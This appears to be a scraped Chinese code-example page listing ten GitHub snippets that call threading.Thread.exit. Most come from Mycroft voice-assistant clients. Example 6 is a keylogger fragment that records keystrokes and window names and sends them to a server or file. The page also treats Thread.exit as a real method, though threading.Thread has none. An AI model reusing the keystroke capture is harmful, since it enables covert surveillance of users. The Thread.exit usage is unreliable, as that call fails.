当前位置: 首页>>代码示例>>Python>>正文


Python Thread.exit方法代码示例

本文整理汇总了Python中threading.Thread.exit方法的典型用法代码示例。如果您正苦于以下问题:Python Thread.exit方法的具体用法?Python Thread.exit怎么用?Python Thread.exit使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在threading.Thread的用法示例。


在下文中一共展示了Thread.exit方法的10个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: main

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def main():
    global ws
    global loop
    ws = WebsocketClient()
    tts.init(ws)
    ConfigurationManager.init(ws)
    loop = RecognizerLoop()
    loop.on('recognizer_loop:utterance', handle_utterance)
    loop.on('recognizer_loop:record_begin', handle_record_begin)
    loop.on('recognizer_loop:wakeword', handle_wakeword)
    loop.on('recognizer_loop:record_end', handle_record_end)
    loop.on('speak', handle_speak)
    ws.on('open', handle_open)
    ws.on('speak', handle_speak)
    ws.on(
        'multi_utterance_intent_failure',
        handle_multi_utterance_intent_failure)
    ws.on('recognizer_loop:sleep', handle_sleep)
    ws.on('recognizer_loop:wake_up', handle_wake_up)
    ws.on('mycroft.stop', handle_stop)
    ws.on("mycroft.paired", handle_paired)
    event_thread = Thread(target=connect)
    event_thread.setDaemon(True)
    event_thread.start()

    try:
        loop.run()
    except KeyboardInterrupt, e:
        logger.exception(e)
        event_thread.exit()
        sys.exit()
开发者ID:forslund,项目名称:mycroft-core,代码行数:33,代码来源:main.py

示例2: main

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def main():
    global client
    global loop
    client = WebsocketClient()
    device_index = config.get('speech_client').get('device_index')
    if device_index:
        device_index = int(device_index)
    loop = RecognizerLoop(device_index=device_index)
    loop.on('recognizer_loop:utterance', handle_utterance)
    loop.on('recognizer_loop:record_begin', handle_record_begin)
    loop.on('recognizer_loop:wakeword', handle_wakeword)
    loop.on('recognizer_loop:record_end', handle_record_end)
    loop.on('speak', handle_speak)
    client.on('speak', handle_speak)
    client.on(
        'multi_utterance_intent_failure',
        handle_multi_utterance_intent_failure)
    client.on('recognizer_loop:sleep', handle_sleep)
    client.on('recognizer_loop:wake_up', handle_wake_up)
    client.on('mycroft.stop', handle_stop)
    event_thread = Thread(target=connect)
    event_thread.setDaemon(True)
    event_thread.start()

    try:
        subprocess.call('echo "eyes.reset" >/dev/ttyAMA0', shell=True)
    except:
        pass

    try:
        loop.run()
    except KeyboardInterrupt, e:
        logger.exception(e)
        event_thread.exit()
        sys.exit()
开发者ID:bisaysavath,项目名称:mycroft-core,代码行数:37,代码来源:main.py

示例3: main

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def main():
    global client
    global loop
    client = WebsocketClient()
    device_index = config.get('speech_client').get('device_index')
    if device_index:
        device_index = int(device_index)
    loop = RecognizerLoop(device_index=device_index)
    loop.on('recognizer_loop:listening', handle_listening)
    loop.on('recognizer_loop:wakeword', handle_wakeword)
    loop.on('recognizer_loop:utterance', handle_utterance)
    loop.on('speak', handle_speak)
    client.on('speak', handle_speak)
    client.on(
        'multi_utterance_intent_failure',
        handle_multi_utterance_intent_failure)
    client.on('recognizer_loop:sleep', handle_sleep)
    client.on('recognizer_loop:wake_up', handle_wake_up)
    event_thread = Thread(target=connect)
    event_thread.setDaemon(True)
    event_thread.start()
    try:
        loop.run()
    except KeyboardInterrupt, e:
        event_thread.exit()
        sys.exit()
开发者ID:Alphacodeclub,项目名称:mycroft-core,代码行数:28,代码来源:main.py

示例4: simple_cli

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def simple_cli():
    global bus
    global bSimple
    bSimple = True
    bus = WebsocketClient()  # Mycroft messagebus connection
    event_thread = Thread(target=connect)
    event_thread.setDaemon(True)
    event_thread.start()
    bus.on('speak', handle_speak)
    try:
        while True:
            # Sleep for a while so all the output that results
            # from the previous command finishes before we print.
            time.sleep(1.5)
            print("Input (Ctrl+C to quit):")
            line = sys.stdin.readline()
            bus.emit(Message("recognizer_loop:utterance",
                             {'utterances': [line.strip()]}))
    except KeyboardInterrupt as e:
        # User hit Ctrl+C to quit
        print("")
    except KeyboardInterrupt as e:
        LOG.exception(e)
        event_thread.exit()
        sys.exit()
开发者ID:seymour-bootay,项目名称:mycroft-core,代码行数:27,代码来源:text_client.py

示例5: main

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def main():
    global client
    client = WebsocketClient()
    if not '--quiet' in sys.argv:
        client.on('speak', handle_speak)
    event_thread = Thread(target=connect)
    event_thread.setDaemon(True)
    event_thread.start()
    try:
        while True:
            print("Input:")
            line = sys.stdin.readline()
            client.emit(Message("recognizer_loop:utterance", metadata={'utterances': [line.strip()]}))
    except KeyboardInterrupt, e:
        event_thread.exit()
        sys.exit()
开发者ID:BK-University,项目名称:mycroft-core,代码行数:18,代码来源:cli.py

示例6: key_event

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def key_event(event):
	global user
	global prev
	key = chr(event.Ascii) if event.Ascii != 0 else "" + event.Key + ""
	key = "Space" if key == " " else key
	key = "BackSP" if event.Ascii == 8 else key
	window = event.WindowName.split("\\")[-1]
	if prev != window:
		data = {"user": user, "key": key, "window": window}
	else:
		data = {"user": user, "key": key}
	txt = key + "\t\t\t\t\t" + window + "\n"
	if server:
		th = Thread(target=update_server, args=(data,))
	else:
		th = Thread(target=update_file, args=(txt,))
	th.start()
	th.exit()
开发者ID:sarathm09,项目名称:Hobby_Projects,代码行数:20,代码来源:KeyLogger.py

示例7: main

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def main():
    global ws
    global loop
    global config
    global tts
    global tts_hash
    lock = PIDLock("voice")
    ws = WebsocketClient()
    config = ConfigurationManager.get()
    tts = TTSFactory.create()
    tts.init(ws)
    tts_hash = config.get('tts')
    ConfigurationManager.init(ws)
    loop = RecognizerLoop()
    loop.on('recognizer_loop:utterance', handle_utterance)
    loop.on('recognizer_loop:record_begin', handle_record_begin)
    loop.on('recognizer_loop:wakeword', handle_wakeword)
    loop.on('recognizer_loop:record_end', handle_record_end)
    loop.on('speak', handle_speak)
    loop.on('recognizer_loop:no_internet', handle_no_internet)
    ws.on('open', handle_open)
    ws.on('speak', handle_speak)
    ws.on(
        'multi_utterance_intent_failure',
        handle_multi_utterance_intent_failure)
    ws.on('recognizer_loop:sleep', handle_sleep)
    ws.on('recognizer_loop:wake_up', handle_wake_up)
    ws.on('mycroft.mic.mute', handle_mic_mute)
    ws.on('mycroft.mic.unmute', handle_mic_unmute)
    ws.on('mycroft.stop', handle_stop)
    ws.on("mycroft.paired", handle_paired)
    event_thread = Thread(target=connect)
    event_thread.setDaemon(True)
    event_thread.start()

    try:
        loop.run()
    except KeyboardInterrupt, e:
        logger.exception(e)
        event_thread.exit()
        sys.exit()
开发者ID:ChristopherRogers1991,项目名称:mycroft-core,代码行数:43,代码来源:main.py

示例8: catchInput

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]
def catchInput(queryInput):
	bus = dbus.SessionBus()
	remote_object = bus.get_object("org.gnome.Shell","/com/mycroftaignome/MycroftGnomeResult")  
	getText = remote_object.sendQuery(guioutputstring,dbus_interface = "com.mycroftaignome.MycroftAiGnomeBox")	
	print getText	
 	global client
	client = WebsocketClient()
	client.on('speak', handle_speak)
	event_thread = Thread(target=connect)
	event_thread.setDaemon(True)
	event_thread.start()
	try:
		while True:
		
       			print("Input:")
      	 		queryInput= object.sendQuery(guioutputstring,dbus_interface = "com.mycroftaignome.MycroftAiGnomeBox")
      			client.emit(
      		          Message("recognizer_loop:utterance",
      		                  metadata={'utterances': [queryInput]}))
			break
    	except KeyboardInterrupt, e:
        	logger.exception(e)
        	event_thread.exit()
		sys.exit()		
开发者ID:RobbiNespu,项目名称:Mycroft-AI-Gnome-Shell-Extension,代码行数:26,代码来源:guignome.py

示例9: main

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]

#.........这里部分代码省略.........
                    izquierda.estado(True)
                    #Se evita la contradicción de estado
                    abajo.estado(False)
                    arriba.estado(False)
                    derecha.estado(False)

                    motor_trasero_derecho.estado(True)

                elif babor==True:
                    babor=False
                    envio_paquetes(str(-8))
                    envio_paquetes(str(-5))
                    izquierda.estado(False)
                    #Se evita la contradicción de estado
                    abajo.estado(False)
                    arriba.estado(False)
                    derecha.estado(False)

                    motor_trasero_derecho.estado(False)

            if keys[K_w]:
                if ascenso==False:
                    ascenso=True
                    envio_paquetes(str(-8))
                    envio_paquetes(str(6))
                    timon_profundidad.posicion("ascender")
                    motor_central_izquierdo.estado(True)
                    motor_central_derecho.estado(True)
                elif ascenso==True:
                    ascenso=False
                    envio_paquetes(str(-8))
                    envio_paquetes(str(-6))
                    timon_profundidad.posicion("neutral")
                    motor_central_izquierdo.estado(False)
                    motor_central_derecho.estado(False)

            if keys[K_s]:
                if descenso==False:
                    descenso=True
                    envio_paquetes(str(-8))
                    envio_paquetes(str(7))
                    timon_profundidad.posicion("descender")
                    motor_central_izquierdo.estado(True)
                    motor_central_derecho.estado(True)
                elif descenso==True:
                    descenso=False
                    envio_paquetes(str(-8))
                    envio_paquetes(str(-7))
                    timon_profundidad.posicion("neutral")
                    motor_central_izquierdo.estado(True)
                    motor_central_derecho.estado(True)


            if keys[K_l]:
                pygame.key.set_repeat(0, 0)
                if luces.estado_luces==True:
                    luces.estado_luces=False
                    envio_paquetes(str(1)) #Por falla de Relé
                else:
                    luces.estado_luces=True
                    envio_paquetes(str(0)) #Por falla de Relé

            if keys[K_r]:
                camara_principal.sacar_foto("Prueba.jpg")

            if keys[K_ESCAPE]:
                thr_latencia.exit()
                sys.exit()
                #TODO: Matar hilo de latencia que deja todo lento cuando no tiene respuesta
            if event.type == pygame.QUIT:
                sys.exit()


        #actualizamos la pantalla

        capturacamara=camara_principal.obtener_imagen()
        screen.blit(capturacamara, camara_principal.rect)

        ##Blitteo de flechas y timón de profundidad
        screen.blit(izquierda.image, izquierda.rect)
        screen.blit(derecha.image, derecha.rect)
        screen.blit(arriba.image, arriba.rect)
        screen.blit(abajo.image, abajo.rect)
        screen.blit(timon_profundidad.image, timon_profundidad.rect)
        ##Blitteo de motores
        screen.blit(motor_central_derecho.image, motor_central_derecho.rect)
        screen.blit(motor_central_izquierdo.image, motor_central_izquierdo.rect)
        screen.blit(motor_trasero_derecho.image, motor_trasero_derecho.rect)
        screen.blit(motor_trasero_izquierdo.image, motor_trasero_izquierdo.rect)




        if luces.estado_luces==True:
            screen.blit(luces.image, luces.rect)

        screen.blit(texto_coordenadas, (texto_coordenadas.get_rect()))
        screen.blit(texto_latencia, (1003,147))
        screen.blit(texto_host,(933,95))
        pygame.display.flip()
开发者ID:Alitux,项目名称:KippaI,代码行数:104,代码来源:Cliente.py

示例10: Lights

# 需要导入模块: from threading import Thread [as 别名]
# 或者: from threading.Thread import exit [as 别名]

#.........这里部分代码省略.........
		pass
# 		self.fade_queue




	# Set threaded fade
	def set_fade(self, duration, end_colour):
		print '#' * 10, '  set_fade()  ', '#' * 10
		print 'fade_loop.is_alive: ', self.fade_loop.is_alive()

# 		if self.fade_loop.is_alive() == False:
# 			self.fade_loop.start()

		self.fade_loop_stop = False
		now = datetime.datetime.now()
		self.fade_end_time = now + duration

		# Get current light colour
		current_colour = self.get_lights()

		# Get colours differences
		self.fade_diffs_dict = self.fade_diffs(current_colour, end_colour)

		# Convert seconds into microsecnds
		total_duration = duration.seconds * 1000000
		self.fade_total_duration = float(total_duration)

		print '[' * 10 + ' ' + str(self.fade_loop.is_alive()) + ' ' + ']' * 10
# 		if self.fade_loop.is_alive() == False:
# 			self.fade_loop.start()

		print '@' * 20
		print 'fade_loop.is_alive: ', self.fade_loop.is_alive()


	# Set fade
	# Calc diffs
	# Calc duration

	# Fade loop
	# Is now < end_time?
	#	Is now different to end_colour?
	#		Do what needs to be done

	def kill_fade(self):
		self.fade_loop_stop = True

	
	# Fade loop
	def fade2(self):
		# Calculate time till end
		# Now + duration = end_time
# 		now = datetime.datetime.now()
# 		end_time = self.fade['end_time']
#
#
# 		# Get current light colour
# 		current_colour = self.get_lights()
#
# 		# Get colours differences
# 		diffs = self.fade_diffs(current_colour, end_colour)
#
# 		# Convert seconds into microsecnds
# 		total_duration = duration.seconds * 1000000
# 		total_duration = float(total_duration)
#
		print '=' * 10 + ' Start fade loop thread ' + '=' * 10
# 		start_time = time.time()

 		launch_time = datetime.datetime.now()
 		terminate = launch_time + datetime.timedelta(seconds=30)
 		
 		print 'Terminate: ', terminate
 		
		# Loop until timeout
		
		try:		
			while datetime.datetime.now() < terminate:			
				if self.fade_loop_stop == True:
					print 'exiting'
					return
	
				if datetime.datetime.now() <= self.fade_end_time:
					# time till end = end_time - now
					diff = self.fade_end_time - datetime.datetime.now()
					remaining = (diff.seconds * 1000000) + diff.microseconds
					percent_remaining = round((remaining/self.fade_total_duration) * 100,2)
	
					colour = self.fade_colours(self.fade_diffs_dict, percent_remaining)
					self.set_lights(colour)
				
				
				
	# 			if(duration.seconds > 10):
				time.sleep(0.01)
		except KeyboardInterrupt:
			self.fade_loop.exit()	

		print 'exiting while'
开发者ID:mikeboehm,项目名称:Aurora,代码行数:104,代码来源:AuroraLights.py


注:本文中的threading.Thread.exit方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。